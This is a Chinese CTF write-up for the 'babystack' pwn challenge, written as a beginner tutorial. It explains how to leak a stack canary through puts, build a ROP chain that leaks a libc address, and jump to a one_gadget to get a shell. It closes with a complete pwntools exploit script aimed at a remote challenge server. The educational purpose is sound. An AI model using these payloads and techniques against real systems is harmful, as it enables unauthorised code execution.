WriteUp: PWN1 厦门邀请赛

Write Up

  • 0x00: 前言
  • 0x01: 获取信息
  • 0x02: 确定行为
  • 0x03: 寻找漏洞
  • 0x04: Payload
  • 0x05: PWN !!!
  • 0x06: 结语

0x00: 前言

写这个WriteUp的目的是让刚入门不久的初学者更好的理解是如何:

  1. 利用栈溢出漏洞去跳转到目的地址。
  2. 利用ROP绕过NX保护。
  3. 利用libc中的system或者one_gadget获取shell。
  4. 利用栈溢出和输出函数获取canary。

对这里出现的名字不理解?不用担心,之后会解释清楚,请继续往下看下去(但是要具备以下几点)

  1. Pyhton基础
  2. pwntools的使用
  3. C语言基础
  4. 汇编语言基础
  5. 动态链接中的plt和got
  6. Linux下逆向工具的基本使用

这里给出个人建议,在真正学习pwn之前,对你使用的平台可执行文件的布局以及重定位,动态链接等等了解的越多,学习时会更加清晰,更加深入。一定要明白为什么这么做而不仅仅是怎么做。

0x01: 获取信息

我们首先使用file命令查看一下babystacklibc-2.23.so:

file.png

可以看到,babystack是elf64的动态链接的可执行文件并且已经被strip(去掉了节头信息和符号表)掉了,而libc-2.23.so很显然是个共享库。

接着再用checksec脚本查看babystack都开启了那些保护机制:

checksec.png

可以看到,babystack开启了NX,Canary和Full RELRO:

  • NX: No-eXecute,是通过将数据所在内存标记为不可执行而阻止利用栈溢出跳转到数据页面执行写入的
    shellcode。
  • Canary: 栈保护,是通过在程序中的函数开始时在其栈上存放一个cookie信息(随机内容),然后在返回时检查该值是否与之前一致来保护利用栈溢出覆盖到返回地址。
  • ROREL: RELocation ReadOnly,主要是Partial RELRO和Full RELRO。Partial RELRO是属于延迟链接,在函数第一次被调用之后在会将真实地址存入GOT表中。而Full RELRO则是在将程序加载到内存中时就已经将所有库函数的地址写入GOT表中。当然,这两种方式在处理函数地址之后都是不允许在更改GOT的。

回到babystack中,接着用strings查看有没有类似system或者/bin/sh等留下的后门:

strings.png

很显然并没有,所以这就引出了一个问题: 如何获取shell?或者说到那里去找可利用的函数或者代码段?答案: libc库,而这libc库并不是我们本地的库而是对方服务器上的libc库,由于版本可能不一致所以内容也会有差异。幸好这里已经给了libc,如果没有,还需要查看程序所使用的libc库版本。

然后我们用readelf或着objdump查看babystack都是用了那些libc库函数,再用同样的方法查看libc中的函数,找到一个在babystack中使用过的函数(我们使用puts函数)的偏移地址。这个有什么用呢?答案: 用于确定libc库加载的基地址。

libc_puts.png
puts.png

那么有了这些信息,又该怎么计算出libc的基地址呢?答案: 库函数在程序加载进内存后的真实地址 - 库函数在libc库中的偏移 = libc基地址,这是由于libc库函数的布局在加载进内存后并不会发生改变,所以可以利用这一特点计算出你想获取的任意库函数的真实地址。

之前讲过库函数的真实地址是存储在GOT表中,所以我们需要用输出函数输出对应GOT表中的内容。这里先简单说一下动态链接时库函数的调用过程(以puts函数为例):

call puts --> puts plt --> puts got --> puts

除了这些之外我们还没有找到可利用的代码段。可以找出libc中的system函数偏移在根据libc基地址计算出system函数的真实地址,但在这里我们使用更简单方法(因为system还需要自己设置/bin/sh参数),用one_gadget找出libc库中可利用的代码:

execve.png

最后整理我们所获得的信息以及取值:

描述 取值
puts函数的got表地址 0x600fa8
puts函数在libc中的偏移 0x6f690
puts函数的plt地址(这是因为我们需要用到输出函数,输出所需内容) 0x400690
可利用代码execve在libc中的偏移 0x45216

0x02: 确定行为

接下来就是确定程序的行为了,这里我用到了radare2开源逆向工具(由于目标程序被strip掉了,直接用objdump这种依靠节头表信息分析的工具实在是太费劲)。

先运行程序看一看都有那些操作:

run.png

可以猜测,1. store 的输入可能存在栈溢出漏洞,而2. print 也可能为我们提供需要的数据。

再用radare2的图形界面cutter打开babystack:

r21.png
r22.png
r23.png
r24.png
r25.png

可以看到,程序并不复杂,无非是一些输出选项和提示符,输入选项,输入数据,输出数据以及退出。

0x03: 寻找漏洞

在真正开始寻找漏洞之前,先讲一下栈溢出的原理:

起因: 在栈上(局部变量)读取了多于所分配的内存。

结果: 导致了覆盖掉栈上的数据加以利用,其中最典型的就是覆盖掉函数的返回地址。

栈的一般布局:

+--------------------+ 高地址
|      函数参数       | --> x86架构(x64中是以rdi,rsi,rdx... 传递参数的)
+--------------------+
|    返回地址(rip)    |
+--------------------+
|         rbp        |
+--------------------+ <-- rbp (栈底)
|       ... ...      |
|       局部变量      |
|       ... ...      |
+--------------------+ <-- rsp(栈顶)
|       ... ...      |
+--------------------+ 低地址

我们先走第一个分支,1. store,可以明显的看到以rbp-0x90地址为buffer可以读取0x100个字节,这就是栈溢出了。但是要利用这个还有一个麻烦,就是之前所说的canary了。

r24.png

回过头再看看第二个分支,2. print,可以看到这里使用了puts函数输入了从rbp-0x90开始的内容。

r25.png

看来我们已经找到如何获取canary的方法了,puts函数输出字符串是以'\0'结尾。也就是说,我们输入足够多的数据直到与存储canary内容的地址接轨,将其一同输出出来。可以看到,canary是存储在栈上rbp-0x08位置,而我们的输入起始地址是rbp-0x90,所以我们需要输入 0x90 - 0x08 = 0x88 个字符才可以。

a0x88.png

注意!这里我是用ctrl+D结束的输入,所以输入的刚好是0x88个a。如果用回车结束最后还将读取'\n'换行符,所以总共就读取了0x89个字符,而这我们将在下面用到。

怎么回事?怎么没有输出我们想要的数据呢?之前说过,字符串是以'\0'结尾的,所以可以判断canary的最低位的一个字节的内容是0。那么我们尝试输入0x89个字符:

a0x89.png

可以看到,输出中多了一些内容,而这也正好是我们需要的canary了。

以上只是第一阶段: 获取canary。接着我们需要确定libc基地址,由于已经介绍过如何计算libc基地址,所以我们的主要任务就是获取puts函数的真实地址,也就是puts GOT表中的内容。由于canary已经获取,我们可以放心的利用栈溢出而不担心程序会crash。

但是这里还有一个问题: puts函数的传参问题,之前说过x64是以寄存器的方式传参,puts函数需要的一个参数则需要rdi寄存器传送。

解决方法: 将参数存放在栈上再用pop rdi的方式送进rdi中,在用ret指令返回到puts函数的plt地址。所以我们需要 pop rdi; ret 这种指令或者包含这种指令的地址来完成这一目的。

在这里,我们用ROPgadget工具查找pop rdi; ret指令(如果直接用objdump或者在radare2中查看并不会发现有pop rdi; ret,但会发现有很多pop r15; ret指令,而pop r15的指令机器吗是43 5fpop rdi的指令机器吗是5f,这不就找到了吗?!)。

ropgadget.png

获取puts GOT表中内容的主要方法是: 输入 0x88个字符 + canary + 随便8个字符 + pop rdi地址 + puts GOT地址 + puts plt地址 + main函数地址。

为什么还要有main函数的地址呢?答案: 因为这次仅仅是获取了puts函数的真实地址,而puts函数执行完之后的返回地址如果不是main函数,则我们的程序就会终止,不能进行下一步了。

第二阶段也已经完成,根据获取的值我们终于可以计算出libc基地址了。接着就是最终阶段获取shell了。这里的方法与第二阶段相似(实际上更加简单)。

获取shell的方法: 输入 0x88个字符 + canary + 随便8个字节 + execve地址。

0x04: Payload

这里给出针对不同阶段的payload(python):

  1. payload = 'a' * 0x89
  2. payload = 'a' * 0x88 + p64(canary) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
  3. payload = 'a' * 0x88 + p64(canary) + p64(0) + p64(execve_addr)

0x05: PWN !!!

最终exp.py

#!/usr/bin/python

from pwn import *

context.log_level = "debug"
p = remote("111.198.29.45", 42157)

# Get information from libc-2.23.so
puts_offset = 0x6f690
execve_offset = 0x45216

# Get information from babystack
puts_plt = 0x400690
puts_got = 0x600fa8
pop_rdi = 0x400a93
main_addr = 0x400908

# Stage one for get canary
payload = 'a' * 0x89

p.recvuntil(">> ")
p.send("1\n")
p.send(payload)
p.recvuntil(">> ")
p.send("2\n")
p.recvuntil(payload)
canary = u64(p.recv(7).rjust(8, "\x00"))

print "canary: ", hex(canary)

# Stage two for get puts address
payload = 'a' * 0x88 + p64(canary) + p64(0) + \
    p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.recvuntil(">> ")
p.send("1\n")
p.send(payload)
p.recvuntil(">> ")
p.send("3\n")
puts_addr = u64(p.recv(8).ljust(8, "\x00"))
print "puts address: ", hex(puts_addr)

# Get libc base and system address
libc_base = puts_addr - puts_offset
execve_addr = libc_base + execve_offset

print "libc base: ", hex(libc_base)
print "execve address: ", hex(execve_addr)

# Stage three for get shell
payload = 'a' * 0x88 + p64(canary) + p64(0) + p64(execve_addr)

p.recvuntil(">> ")
p.send("1\n")
p.send(payload)
p.recvuntil(">> ")
p.send("3\n")

p.interactive()
success.png

0x06: 结语

以上便是我希望表达的内容,而我也已经尽可能详细的介绍了一切。但是其中的plt,got以及其他不太理解也欢迎来提问,一起学习,一起进步。

最后给出一个思考题: 什么是PIE保护,如果该程序开起了PIE保护,上述方法还有有用吗?

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,826评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,968评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,234评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,562评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,611评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,482评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,271评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,166评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,608评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,814评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,926评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,644评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,249评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,866评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,991评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,063评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,871评论 2 354

推荐阅读更多精彩内容

  • 一、bugkuctf pwn4(栈,ROP,system($0)) 图1很容易看出来read函数栈溢出 紧接着就是...
    ywledoc阅读 1,604评论 0 1
  • BROP对存在栈溢出的ELF进行指令盲注,Papper描述攻击可谓充满了艺术。要满足BROP,需要几个条件:1.进...
    clive0x阅读 944评论 0 1
  • 俗语道“相由心生”,可信,也不可全信,否则就不会有什么笑面人、狼外婆、披着羊皮的狼之说了,“人不可貌相”,诠...
    原木子阅读 1,572评论 29 35
  • 六项精进打卡第33天 姓名:苗锋 499期学员 努力一组 公司:上海凤图电气有限公司 【知~学习】 《六项精进》...
    风杨饺子树阅读 117评论 0 0
  • 1、修改配置文件application-dev.yml (application.properties一样的配置...
    圈圈猫阅读 852评论 0 0